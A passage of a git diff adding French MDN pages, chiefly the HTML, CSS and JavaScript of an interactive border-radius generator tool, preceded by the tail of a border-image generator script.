+
+			return property;
+		};
+
+		var initBorderSliceControls = function initBorderSliceControls() {
+			var container = getElemById('border-slice-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_slice_values[id] = value;
+					border_slice[id] = value + border_slice_units[id];
+					updateBorderSlice();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					guidelines[topic].setUnit(obj.value);
+					border_slice_units[id] = obj.value;
+					border_slice[id] = border_slice_values[id] + obj.value;
+					updateBorderSlice();
+				});
+			};
+
+			for (var i = 0; i < positions.length; i++) {
+				var topic = 'slice-' + positions[i];
+				var property = createProperty(topic, i, 0);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+
+			container.appendChild(container.children[1]);
+
+		};
+
+		var initBorderWidthControls = function initBorderWidthControls() {
+			var container = getElemById('border-width-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_width_values[id] = value;
+					border_width[id] = value + border_width_units[id];
+					updateBorderWidth();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					if (obj.value === '%')
+						InputSliderManager.setMax(topic, 100);
+					else
+						InputSliderManager.setMax(topic, 1000);
+
+					border_width_units[id] = obj.value;
+					border_width[id] = border_width_values[id] + obj.value;
+					updateBorderWidth();
+				});
+			};
+
+			for (var i = 0; i < positions.length; i++) {
+				var topic = 'width-' + positions[i];
+				var property = createProperty(topic, i, 1);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var initBorderOutsetControls = function initBorderOutsetControls() {
+
+			var container = getElemById('border-outset-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_outset_values[id] = value;
+					border_outset[id] = value + border_outset_units[id];
+					updateBorderOutset();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					border_outset_units[id] = obj.value;
+					border_outset[id] = border_outset_values[id] + obj.value;
+					updateBorderOutset();
+				});
+			};
+
+			for (var i = 0; i < positions.length; i++) {
+				var topic = 'outset-' + positions[i];
+				var property = createProperty(topic, i, 2);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var init = function init() {
+
+			var gallery =
+			subject = getElemById('subject');
+			preview = getElemById("preview");
+			preview_area = getElemById("preview_section");
+
+
+			CSS_code['source'] = getElemById("out-border-source");
+			CSS_code['slice'] = getElemById("out-border-slice");
+			CSS_code['width'] = getElemById("out-border-width");
+			CSS_code['outset'] = getElemById("out-border-outset");
+			CSS_code['repeat'] = getElemById("out-border-repeat");
+
+			initBorderSliceControls();
+			initBorderWidthControls();
+			initBorderOutsetControls();
+
+			var elem = document.querySelectorAll('.guideline');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				new GuideLine(elem[i]);
+
+			PreviewControl.init();
+
+			ButtonManager.subscribe('slice-fill',setBorderFill);
+			ButtonManager.subscribe('drag-subject', updateDragOption);
+			ButtonManager.setValue('drag-subject', false);
+
+			DropDownManager.subscribe('image-repeat-X', setBorderRepeat);
+			DropDownManager.subscribe('image-repeat-Y', setBorderRepeat);
+
+			InputSliderManager.subscribe('preview-area-height', setPreviewAreaHeight);
+			InputSliderManager.subscribe('preview-width', setPreviewWidth);
+			InputSliderManager.subscribe('preview-height', setPreviewHeight);
+			InputSliderManager.subscribe('font-size', setPreviewFontSize);
+			InputSliderManager.setValue('preview-width', 300);
+			InputSliderManager.setValue('preview-height', 200);
+		};
+
+		return {
+			init: init,
+			setOutputCSS: setOutputCSS,
+			setBorderSlice: setBorderSlice
+		};
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		InputSliderManager.init();
+		DropDownManager.init();
+		ButtonManager.init();
+		UnitPanel.init();
+		Tool.init();
+		ImageControl.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+
+
+ +

{{EmbedLiveSample('Border_Image_Generator', '100%', '1270px')}}

diff --git a/files/fr/web/css/css_background_and_borders/border-radius_generator/index.html b/files/fr/web/css/css_background_and_borders/border-radius_generator/index.html new file mode 100644 index 0000000000..344dd64bcc --- /dev/null +++ b/files/fr/web/css/css_background_and_borders/border-radius_generator/index.html @@ -0,0 +1,1600 @@ +--- +title: Générateur de border-radius +slug: Web/CSS/Arrière-plans_et_bordures_CSS/Générateur_border-radius +tags: + - CSS + - Outil +translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator +--- +

Cet outil peut être utilisé afin de générer du code pour la propriété {{cssxref("border-radius")}}.

+ +
+

border-radius

+ +

Contenu HTML

+ +
<div id="container">
+    <div class="group section">
+        <div id="preview" class="col span_12">
+            <div id="subject">
+                <div id="top-left" class="radius-container"
+                    data-X="left" data-Y="top">
+                </div>
+                <div id="top-right" class="radius-container"
+                    data-X="right" data-Y="top">
+                </div>
+                <div id="bottom-right" class="radius-container"
+                    data-X="right" data-Y="bottom">
+                </div>
+                <div id="bottom-left" class="radius-container"
+                    data-X="left" data-Y="bottom">
+                </div>
+
+                <div id="radius-ui-sliders">
+                    <div id="tlr" class="ui-input-slider" data-topic="top-left"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="tlw" class="ui-input-slider" data-topic="top-left-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="tlh" class="ui-input-slider" data-topic="top-left-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trr" class="ui-input-slider" data-topic="top-right"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trw" class="ui-input-slider" data-topic="top-right-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trh" class="ui-input-slider" data-topic="top-right-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brr" class="ui-input-slider" data-topic="bottom-right"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blr" class="ui-input-slider" data-topic="bottom-left"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
+                        data-unit=" px" data-sensivity="2"></div>
+                </div>
+            </div>
+        </div>
+    </div>
+    <div id="controls" class="group section">
+
+        <div class="group section">
+            <div id="dimensions">
+                <div class="ui-input-slider" data-topic="width" data-info="width"
+                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"></div>
+
+                <div class="ui-input-slider" data-topic="height" data-info="height"
+                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"></div>
+            </div>
+
+            <div id="output"></div>
+        </div>
+
+        <div class="group section">
+            <div id="radius-lock">
+                <div class="info"> Coins arrondis </div>
+                <div class="ui-checkbox" data-topic='top-left'></div>
+                <div class="ui-checkbox" data-topic='top-right'></div>
+                <div class="ui-checkbox" data-topic='bottom-right'></div>
+                <div class="ui-checkbox" data-topic='bottom-left'></div>
+            </div>
+
+            <div id="unit-selection">
+                <div class="info"> Unités pour la bordure </div>
+            </div>
+        </div>
+
+    </div>
+</div>
+
+ +

Contenu CSS

+ +
/*  GRID OF TEN
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider-container {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider-container * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview {
+	height: 500px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	overflow: hidden;
+	position: relative;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#preview input {
+	color: #333;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+#subject {
+	width: 400px;
+	height: 150px;
+	margin: 0 auto;
+	border: 3px solid #C60;
+	background: #FFF;
+	position: relative;
+}
+
+.radius {
+	width: 50%;
+	height: 50%;
+	border: 1px solid #CCC;
+	display: none;
+	position: absolute;
+	z-index: 1;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.handle {
+	width: 16px;
+	height: 16px;
+	position: absolute;
+	z-index: 2;
+}
+
+.handle-top-left {
+	top: -12px;
+	left: -12px;
+	cursor: se-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
+}
+
+.handle-top-right {
+	top: -12px;
+	right: -12px;
+	cursor: sw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
+}
+
+.handle-bottom-right {
+	bottom: -12px;
+	right: -12px;
+	cursor: nw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
+}
+
+.handle-bottom-left {
+	bottom: -12px;
+	left: -12px;
+	cursor: ne-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
+}
+
+
+.radius-container {
+	position: absolute;
+	display : block;
+	z-index: 1;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* TOP LEFT */
+#top-left {
+	top: 0;
+	left: 0;
+}
+
+#top-left .radius {
+	border-top-left-radius: 100%;
+	top: 0;
+	left: 0;
+}
+
+/* TOP RIGHT */
+#top-right {
+	top: 0;
+	right: 0;
+}
+
+#top-right .radius {
+	border-top-right-radius: 100%;
+	top: 0;
+	right: 0;
+}
+
+/* BOTTOM RIGHT */
+#bottom-right {
+	bottom: 0;
+	right: 0;
+}
+
+#bottom-right .radius {
+	border-bottom-right-radius: 100%;
+	bottom: 0;
+	right: 0;
+}
+
+/* BOTTOM lEFT */
+#bottom-left {
+	bottom: 0;
+	left: 0;
+}
+
+#bottom-left .radius {
+	border-bottom-left-radius: 100%;
+	bottom: 0;
+}
+
+/* INPUT SLIDERS */
+
+#preview .ui-input-slider {
+	margin: 10px;
+	position: absolute;
+	z-index: 10;
+}
+
+#radius-ui-sliders {
+	width: 100%;
+	height: 100%;
+	min-height: 75px;
+	min-width: 150px;
+	padding: 20px 50px;
+	top: -20px;
+	left: -50px;
+	position: relative;
+}
+
+#tlr {
+	top: -30px;
+	left: -50px;
+	display: none;
+}
+
+#tlw {
+	top: -30px;
+	left: 30px;
+}
+
+#tlh {
+	top: 20px;
+	left: -50px;
+}
+
+#trr {
+	top: -30px;
+	right: -50px;
+	display: none;
+}
+
+#trw {
+	top: -30px;
+	right: 30px;
+}
+
+#trh {
+	top: 20px;
+	right: -50px;
+}
+
+#brr {
+	bottom: -30px;
+	right: -50px;
+	display: none;
+}
+
+#brw {
+	bottom: -30px;
+	right: 30px;
+}
+
+#brh {
+	bottom: 20px;
+	right: -50px;
+}
+
+#blr {
+	bottom: -30px;
+	left: -50px;
+	display: none;
+}
+
+#blw {
+	bottom: -30px;
+	left: 30px;
+}
+
+#blh {
+	bottom: 20px;
+	left: -50px;
+}
+
+#preview .ui-input-slider-left, #preview .ui-input-slider-right {
+	visibility: hidden;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-left {
+	visibility: visible;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-right {
+	visibility: visible;
+}
+
+/*
+ *
+ */
+
+#unit-selection {
+	width: 200px;
+	height: 75px;
+	margin: 30px 30px 0 0;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: right;
+}
+
+#unit-selection .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#unit-selection .dropdown {
+	width: 50px;
+	height: 20px;
+	margin: 10px;
+	padding: 0;
+	border-radius: 3px;
+	position: absolute;
+	overflow: hidden;
+}
+
+#unit-selection select {
+	width: 50px;
+	height: 20px;
+	marign: 0;
+	padding: 0 0 0 10px;
+	background: #555;
+	border: 1px solid #555;
+	border: none;
+	color: #FFF;
+	float: left;
+}
+
+#unit-selection select option {
+	background: #FFF;
+	color: #333;
+}
+
+#unit-selection select:hover {
+	cursor: pointer;
+}
+
+#unit-selection .dropdown:before {
+	content: "";
+	width: 18px;
+	height: 20px;
+	display: block;
+	background-color: #555;
+	background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	top: 0px;
+	right: 0px;
+	position: absolute;
+	z-index: 1;
+	pointer-events: none;
+}
+
+#unit-selection .unit-top-left {
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-left-w {
+	top: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-top-left-h {
+	top: 20px;
+	left: -37px;
+}
+
+#unit-selection .unit-top-right {
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-right-w {
+	top: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-top-right-h {
+	top: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-right {
+	bottom: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-right-w {
+	bottom: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-bottom-right-h {
+	bottom: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-left {
+	bottom: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-left-w {
+	bottom: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-bottom-left-h {
+	bottom: 20px;
+	left: -37px;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+
+
+#radius-lock {
+	width: 200px;
+	height: 75px;
+	margin: 30px 0 0 30px;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: left;
+}
+
+#radius-lock .ui-checkbox {
+	color: #FFF;
+	position: absolute;
+}
+
+#radius-lock .ui-checkbox > label {
+	height: 20px;
+	width: 34px;
+	padding: 0;
+}
+
+#radius-lock .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#radius-lock [data-topic="top-left"] {
+	top: 10px;
+	left: 10px;
+}
+
+#radius-lock [data-topic="top-right"] {
+	top: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-right"] {
+	bottom: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-left"] {
+	bottom: 10px;
+	left: 10px;
+}
+
+/**
+ * Controls
+ */
+
+#dimensions {
+	width: 200px;
+	color: #444;
+	float:left;
+}
+
+#dimensions input {
+	background: #555;
+	color: #FFF;
+	border: none;
+	border-radius: 3px;
+}
+
+#output {
+	width: 500px;
+	padding: 10px 0;
+	margin: 10px 0;
+	color: #555;
+	text-align: center;
+	border: 1px dashed #999;
+	border-radius: 3px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+
+	float: right;
+}
+
+
+
+ +

Contenu JavaScript

+ +
'use strict';
+
+
+/**
+ * UI-InputSliderManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseInt(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		subscribe(obj.topic, function(value) {
+			input.value = value + obj.unit;
+		});
+
+		return input;
+	}
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		});
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		}
+
+		return slider;
+	}
+
+	var InputSlider = function(node) {
+		var min		= node.getAttribute('data-min') | 0;
+		var max		= node.getAttribute('data-max') | 0;
+		var step	= node.getAttribute('data-step') | 0;
+		var value	= node.getAttribute('data-value') | 0;
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+
+		this.min = min;
+		this.max = max > 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+		node.className = 'ui-input-slider ui-input-slider-container';
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	}
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		if (send_notify !== undefined && send_notify === false) {
+			slider.input.value = value + slider.unit;
+			return;
+		}
+
+		notify.call(slider);
+	}
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	}
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	}
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	}
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		getNode : getNode,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+		}
+		catch(error) {
+			console.log(error);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function() {
+	BorderRadius.init();
+});
+
+var BorderRadius = (function BorderRadius() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	var subject;
+	var units = ['px', '%'];
+	var output = null;
+
+	var UnitSelector = function UnitSelector(topic) {
+
+		this.container = document.createElement("div");
+		this.select = document.createElement("select");
+		for (var i in units) {
+			var option = document.createElement("option");
+			option.value = i;
+			option.textContent = units[i];
+			this.select.appendChild(option);
+		}
+
+		this.container.className = 'dropdown ' + 'unit-' + topic;
+		this.container.appendChild(this.select);
+	}
+
+	UnitSelector.prototype.setValue = function setValue(value) {
+		this.salect.value = value;
+	}
+
+
+	var RadiusContainer = function RadiusContainer(node) {
+		var radius = document.createElement('div');
+		var handle = document.createElement('div');
+		var x = node.getAttribute('data-x');
+		var y = node.getAttribute('data-y');
+		var active = false;
+
+		this.id = node.id;
+		this.node = node;
+		this.radius = radius;
+		this.handle = handle;
+		this.width = 100;
+		this.height = 50;
+		this.size = 0;
+		this.rounded = false;
+
+		this.unitX = 0;
+		this.unitY = 0;
+		this.unitR = 0;
+
+		this.maxW = 100;
+		this.maxH = 100;
+		this.maxR = 100;
+
+		this.topic = y + '-' + x;
+
+		var sliderW = InputSliderManager.getNode(this.topic + '-w');
+		var sliderH = InputSliderManager.getNode(this.topic + '-h');
+		var sliderR = InputSliderManager.getNode(this.topic);
+
+		this.setUnitX(this.unitX);
+		this.setUnitY(this.unitY);
+		this.setUnitR(this.unitR);
+
+		this.updateWidth();
+		this.updateHeight();
+		this.updateRadius();
+
+		if (x === 'left')	this.resizeX =  1;
+		if (x === 'right')	this.resizeX = -1;
+		if (y === 'top')	this.resizeY =  1;
+		if (y === 'bottom')	this.resizeY = -1;
+
+		radius.className = 'radius';
+
+		var unit_selector = document.getElementById("unit-selection");
+		var unitW = new UnitSelector(this.topic + '-w');
+		var unitH = new UnitSelector(this.topic + '-h');
+		var unitR = new UnitSelector(this.topic);
+
+		unit_selector.appendChild(unitW.container);
+		unit_selector.appendChild(unitH.container);
+		unit_selector.appendChild(unitR.container);
+		node.appendChild(radius);
+		subject.appendChild(handle);
+
+		unitW.select.addEventListener('change', function(e) {
+			this.setUnitX(e.target.value | 0);
+		}.bind(this));
+
+		unitH.select.addEventListener('change', function(e) {
+			this.setUnitY(e.target.value | 0);
+		}.bind(this));
+
+		unitR.select.addEventListener('change', function(e) {
+			this.setUnitR(e.target.value | 0);
+		}.bind(this));
+
+		if (x === 'left' && y == 'top') handle.className = 'handle handle-top-left'
+		if (x === 'right' && y == 'top') handle.className = 'handle handle-top-right';
+		if (x === 'right' && y == 'bottom') handle.className = 'handle handle-bottom-right';
+		if (x === 'left' && y == 'bottom') 	handle.className = 'handle handle-bottom-left';
+
